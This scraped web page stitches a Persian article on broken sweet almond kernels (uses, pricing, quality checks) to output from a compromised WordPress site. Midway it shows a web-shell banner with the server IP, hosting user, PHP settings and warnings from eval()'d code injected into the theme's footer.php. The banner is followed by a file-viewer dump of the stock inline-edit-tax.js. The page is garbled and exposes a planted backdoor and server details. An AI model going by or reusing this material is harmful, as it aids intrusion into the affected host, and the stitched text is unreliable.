مغز بادام شیرین شکسته ایرانی جهت تولید محصولات غذایی مختلفی کاربرد دارد. قنادی ها برای تولید انواع شیرینی، کیک، شکلات و بستنی، مغز بادام شیرین را سفید کرده و پودر می کنند. کارگاههای روغن گیری و کارخانه های تولید کره های گیاهی بادام سفید شده و مغز بادام شکسته را جهت تولید کره بادام درختی، تولید روغن بادام شیرین استفاده می نمایند.
مغز بادام شیرین شکسته ایرانی برای همکارانی که مغز بادام را پودر خواهند کرد و یا روغن گیری می نمایند بسیار مناسب است. چون قیمت آن بسیار پایین تر از مغز بادام سالم است.
قیمت مغز بادام لپه(خرد شده) تلخ و شیرین
مغز بادام لپه شیرین و تلخ در بازار با نرخ های متفاوت با توجه به شرایط زیر قیمت گذاری می شود:
با توجه به تازه گی و کهنگی مغز لپه
میزان شکستگی و پودر بودن
سفید شده یا با پوست بودن
میزان خرید مشتری
محصول ایران یا افغانی است
مغز بادام ایرانی به دلیل طعم و مزه خوبی که دارد و درصد بالای روغن آن گرانتر از نمونه افغانی است.
شرایط تولید و فروش مغز بادام شیرین شکسته
زمانی که بادام سنگی شکسته می شود، مغز های سالم به:
بادام سالم درشت
بادام سالم متوسط
بادام سالم ریز سورت می شود و
زیر سرندی مغز ها همان مغز بادام لپه یا سکشته است. ممکن است داخل این مغز ها پوسته های شکسته بادام و یا سنگ ریزه هایی موجود باشد که بوجار شده و از آن جدا می شود.
همچنین بادام های شکسته درشت ر سورت شده جهت روغن گیری به فروش می رسد
مغز هایی که درصد پودر بیشتری دارند برای مصارف قنادی و بستنی بسته بندی می گردد.
مغز بادام شکسته مرغوب
اما چگونه تشخیص بدهیم که مغز بادم لپه ای که می خریم ایرانی است نه افغانی و یا مغز بادام تلخ شیرین شده؟
حتما مزه بادام را تست کنید مغز بادام درختی ایرانی شیرینی بیشتری و دارد و کاملا به مزاج خوش می آید.
دقت کنید مغزها به زردی بزند. هر چه مغز ها تیره تر باشد بیشتر احتمال دارد افغانی بوده باشد.
مغز بادام ایرانی نسبت به نمونه آمریکایی ضخامت کمتری و نسبت به بادام تلخ و مغز بادام شیرین افغانی تپل تر به نظر می رسد.
مغز بادام تلخ شیرین شده بیشتر به بی طعمی می زند در حالی که مغز بادام شیرین، طعم شیرینی مشخصی دارد.
Server IP : 37.187.155.34 / Your IP : 3.145.11.190 Web Server : LiteSpeed System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : oilse103 ( 1565) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF Directory (0755) : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/js/
Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/js/inline-edit-tax.js
/**
* This file is used on the term overview page to power quick-editing terms.
*
* @output wp-admin/js/inline-edit-tax.js
*/
/* global ajaxurl, inlineEditTax */
window.wp = window.wp || {};
/**
* Consists of functions relevant to the inline taxonomy editor.
*
* @namespace inlineEditTax
*
* @property {string} type The type of inline edit we are currently on.
* @property {string} what The type property with a hash prefixed and a dash
* suffixed.
*/
( function( $, wp ) {
window.inlineEditTax = {
/**
* Initializes the inline taxonomy editor by adding event handlers to be able to
* quick edit.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
* @return {void}
*/
init : function() {
var t = this, row = $('#inline-edit');
t.type = $('#the-list').attr('data-wp-lists').substr(5);
t.what = '#'+t.type+'-';
$( '#the-list' ).on( 'click', '.editinline', function() {
$( this ).attr( 'aria-expanded', 'true' );
inlineEditTax.edit( this );
});
/**
* Cancels inline editing when pressing Escape inside the inline editor.
*
* @param {Object} e The keyup event that has been triggered.
*/
row.on( 'keyup', function( e ) {
// 27 = [Escape].
if ( e.which === 27 ) {
return inlineEditTax.revert();
}
});
/**
* Cancels inline editing when clicking the cancel button.
*/
$( '.cancel', row ).on( 'click', function() {
return inlineEditTax.revert();
});
/**
* Saves the inline edits when clicking the save button.
*/
$( '.save', row ).on( 'click', function() {
return inlineEditTax.save(this);
});
/**
* Saves the inline edits when pressing Enter inside the inline editor.
*/
$( 'input, select', row ).on( 'keydown', function( e ) {
// 13 = [Enter].
if ( e.which === 13 ) {
return inlineEditTax.save( this );
}
});
/**
* Saves the inline edits on submitting the inline edit form.
*/
$( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() {
t.revert();
});
},
/**
* Toggles the quick edit based on if it is currently shown or hidden.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
*
* @param {HTMLElement} el An element within the table row or the table row
* itself that we want to quick edit.
* @return {void}
*/
toggle : function(el) {
var t = this;
$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
},
/**
* Shows the quick editor
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
*
* @param {string|HTMLElement} id The ID of the term we want to quick edit or an
* element within the table row or the
* table row itself.
* @return {boolean} Always returns false.
*/
edit : function(id) {
var editRow, rowData, val,
t = this;
t.revert();
// Makes sure we can pass an HTMLElement as the ID.
if ( typeof(id) === 'object' ) {
id = t.getId(id);
}
editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );
$(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');
val = $('.name', rowData);
val.find( 'img' ).replaceWith( function() { return this.alt; } );
val = val.text();
$(':input[name="name"]', editRow).val( val );
val = $('.slug', rowData);
val.find( 'img' ).replaceWith( function() { return this.alt; } );
val = val.text();
$(':input[name="slug"]', editRow).val( val );
$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
$('.ptitle', editRow).eq(0).trigger( 'focus' );
return false;
},
/**
* Saves the quick edit data.
*
* Saves the quick edit data to the server and replaces the table row with the
* HTML retrieved from the server.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
*
* @param {string|HTMLElement} id The ID of the term we want to quick edit or an
* element within the table row or the
* table row itself.
* @return {boolean} Always returns false.
*/
save : function(id) {
var params, fields, tax = $('input[name="taxonomy"]').val() || '';
// Makes sure we can pass an HTMLElement as the ID.
if( typeof(id) === 'object' ) {
id = this.getId(id);
}
$( 'table.widefat .spinner' ).addClass( 'is-active' );
params = {
action: 'inline-save-tax',
tax_type: this.type,
tax_ID: id,
taxonomy: tax
};
fields = $('#edit-'+id).find(':input').serialize();
params = fields + '&' + $.param(params);
// Do the Ajax request to save the data to the server.
$.post( ajaxurl, params,
/**
* Handles the response from the server
*
* Handles the response from the server, replaces the table row with the response
* from the server.
*
* @param {string} r The string with which to replace the table row.
*/
function(r) {
var row, new_id, option_value,
$errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
$error = $errorNotice.find( '.error' );
$( 'table.widefat .spinner' ).removeClass( 'is-active' );
if (r) {
if ( -1 !== r.indexOf( '<tr' ) ) {
$(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
new_id = $(r).attr('id');
$('#edit-'+id).before(r).remove();
if ( new_id ) {
option_value = new_id.replace( inlineEditTax.type + '-', '' );
row = $( '#' + new_id );
} else {
option_value = id;
row = $( inlineEditTax.what + id );
}
// Update the value in the Parent dropdown.
$( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );
row.hide().fadeIn( 400, function() {
// Move focus back to the Quick Edit button.
row.find( '.editinline' )
.attr( 'aria-expanded', 'false' )
.trigger( 'focus' );
wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
});
} else {
$errorNotice.removeClass( 'hidden' );
$error.html( r );
/*
* Some error strings may contain HTML entities (e.g. `“`), let's use
* the HTML element's text.
*/
wp.a11y.speak( $error.text() );
}
} else {
$errorNotice.removeClass( 'hidden' );
$error.text( wp.i18n.__( 'Error while saving the changes.' ) );
wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
}
}
);
// Prevent submitting the form when pressing Enter on a focused field.
return false;
},
/**
* Closes the quick edit form.
*
* @since 2.7.0
*
* @this inlineEditTax
* @memberof inlineEditTax
* @return {void}
*/
revert : function() {
var id = $('table.widefat tr.inline-editor').attr('id');
if ( id ) {
$( 'table.widefat .spinner' ).removeClass( 'is-active' );
$('#'+id).siblings('tr.hidden').addBack().remove();
id = id.substr( id.lastIndexOf('-') + 1 );
// Show the taxonomy row and move focus back to the Quick Edit button.
$( this.what + id ).show().find( '.editinline' )
.attr( 'aria-expanded', 'false' )
.trigger( 'focus' );
}
},
/**
* Retrieves the ID of the term of the element inside the table row.
*
* @since 2.7.0
*
* @memberof inlineEditTax
*
* @param {HTMLElement} o An element within the table row or the table row itself.
* @return {string} The ID of the term based on the element.
*/
getId : function(o) {
var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');
return parts[parts.length - 1];
}
};
$( function() { inlineEditTax.init(); } );
})( jQuery, window.wp );